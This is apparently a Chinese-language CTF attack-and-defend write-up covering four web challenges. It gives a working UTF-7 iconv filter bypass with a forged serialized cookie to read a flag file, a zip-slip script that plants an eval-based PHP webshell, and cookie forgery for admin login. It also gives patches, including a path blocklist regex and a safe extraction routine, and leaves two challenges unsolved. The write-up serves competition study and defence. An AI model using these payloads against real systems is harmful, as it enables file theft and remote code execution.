Attack 漏洞点在preview.php
file_get_contents函数可以读取文件,$convertedPath路径由$rawPath经过iconv编码转化得到,而$rawPath由$user->basePath和$f拼接构成,$user->basePath通过反序列化可控,$f可以直接传值可控,可以实现任意文件读取。
但是要读取flag,很明显存在preg_match的过滤,禁止了flag路径。
注意到iconv函数,将$rawPath由$user->encoding编码转化为UTF-8,且转写策略是IGNORE,编码转换所在WAF后进行的,可以利用字符编码的脏字符绕关键词匹配WAF
简答遍历一下在UTF-7转UTF-8过程中,会被IGNORE的字符:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $ori_encoding = "UTF-7" ;$goal_encoding = "utf-8" ;for ($i = 0 ; $i <= 255 ; $i ++) { $hex = strtoupper (str_pad (dechex ($i ), 2 , '0' , STR_PAD_LEFT)); $encodedString = "%{$hex} " ; $decoded = urldecode ($encodedString ); $iconv_content = @iconv ($ori_encoding , $goal_encoding ."//IGNORE" , $char ); if ($iconv_content == false || $iconv_content == '' ){ echo $encodedString ."\n" ; } } ?>
这里选用%C2,反序列化为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class User { public string $name = "guest" ; public string $encoding = "UTF-7" ; public string $basePath = "/" ; } $exp = new User ();$exp = serialize ($exp );$exp = urlencode ($exp );echo $exp ;
payload为
1 2 3 4 5 GET /preview.php?f=fl%c2ag HTTP/1.1 Host : 127.0.0.1:8080Cookie : user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A5%3A%22UTF-7%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D
Fix 主要问题在于WAF后了再进行了编码转换,交换一下WAF和编码转换的位置即可,同时考虑添加限制目录必须以/var/www/html/uploads/开头
1 2 3 4 5 6 7 8 9 $rawPath = $user ->basePath . $f ;$convertedPath = @iconv ($user ->encoding, "UTF-8//IGNORE" , $rawPath );if (!str_starts_with ($convertedPath , "/var/www/html/uploads/" ) || preg_match ('/flag|\/flag|\.\.|php:|data:|expect:/i' , $convertedPath )) { http_response_code (403 ); echo "Access denied" ; exit ; }
esay_time Attack 是Python+PHP服务,Python服务对外暴露,PHP不对外暴露。 简单审计可以发现,/about路由存在SSRF:
再观察可以发现存在文件上传功能:
服务端接收一个zip压缩包并进行解压,存在Zip的目录穿越漏洞,可以把压缩包里的webshell通过目录穿越上传到指定的PHP服务的文件夹。
PS: 此处赛方给出的docker-compose.yml设置了read_only: true,按理来说/var/www/html目录不能写入文件,但是实际远程靶机却可以
构造恶意压缩包:
1 2 3 4 5 6 7 8 9 10 11 import zipfiledef create_malicious_zip (): try : with zipfile.ZipFile('evil.zip' , 'w' , compression=zipfile.ZIP_DEFLATED) as zipf: zipf.writestr(zipfile.ZipInfo('../../../var/www/html/shell.php' ), '<?php eval($_REQUEST["cmd"]);?>' ) return True except Exception as e: return False if __name__ == '__main__' : create_malicious_zip()
上传文件需要登录:
爆破可以得到密码:secret
实际上也可以直接伪造登录:
1 Cookie : visited=yes;user=admin;
先上传压缩包:
读flag:
Fix 修复点主要是鉴权和zip解压时要防止目录穿越,以及SSRF漏洞,还有默认密码和secret_key也可以考虑修改一下
关于鉴权,可以采用flask.session进行会话管理,只有登录成功时才设置session
1 2 3 4 5 6 def is_logged_in () -> bool : user = flask.session.get("user" ) if isinstance (user, str ) and user != "" and user is not None : return True return False
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if flask.request.method == 'POST' : username = flask.request.form.get('username' , '' ) password = flask.request.form.get('password' , '' ) h1 = hashlib.md5(password.encode('utf-8' )).hexdigest() h2 = hashlib.md5(h1.encode('utf-8' )).hexdigest() next_url = flask.request.args.get("next" ) or flask.url_for("dashboard" ) if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde" : flask.session.clear() flask.session['user' ] = username return flask.redirect(next_url) return flask.render_template('login.html' , error='用户名或密码错误' , username=username), 401 return flask.render_template('login.html' , error=None , username='' )
zip解压源代码其实给出了修复代码,直接替换原来的safe_upload函数即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def safe_extract_zip (zip_path: Path, dest_dir: Path ) -> list [str ]: dest_dir = dest_dir.resolve() extracted = [] with zipfile.ZipFile(zip_path, "r" ) as zf: for info in zf.infolist(): name = info.filename.replace("\\" , "/" ) if name.endswith("/" ): continue if name.startswith("/" ) or (len (name) >= 2 and name[1 ] == ":" ): raise ValueError("Illegal path in zip" ) target = (dest_dir / name).resolve() if os.path.commonpath([str (dest_dir), str (target)]) != str (dest_dir): raise ValueError("ZipSlip blocked" ) target.parent.mkdir(parents=True , exist_ok=True ) with zf.open (info, "r" ) as src, open (target, "wb" ) as dst: shutil.copyfileobj(src, dst) extracted.append(str (target.relative_to(dest_dir))) return extracted
SSRF的修复也是给出了源码的,直接用就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def _host_is_public (hostname: str ) -> bool : lowered = (hostname or "" ).lower() if lowered in {"localhost" , "localhost.localdomain" }: return False try : addrinfos = socket.getaddrinfo(hostname, None ) except OSError: return False ips = {ai[4 ][0 ] for ai in addrinfos if ai and ai[4 ]} if not ips: return False for ip_str in ips: ip_obj = ipaddress.ip_address(ip_str) if ( ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_multicast or ip_obj.is_reserved ): return False return True
IntraBadge Attack 怀疑是SSTI,但是套了SandboxedEnvironment并不知道该怎么绕过,redis也不知道怎么利用
Fix None
Wso2 Attack java 不会 ; (
Fix None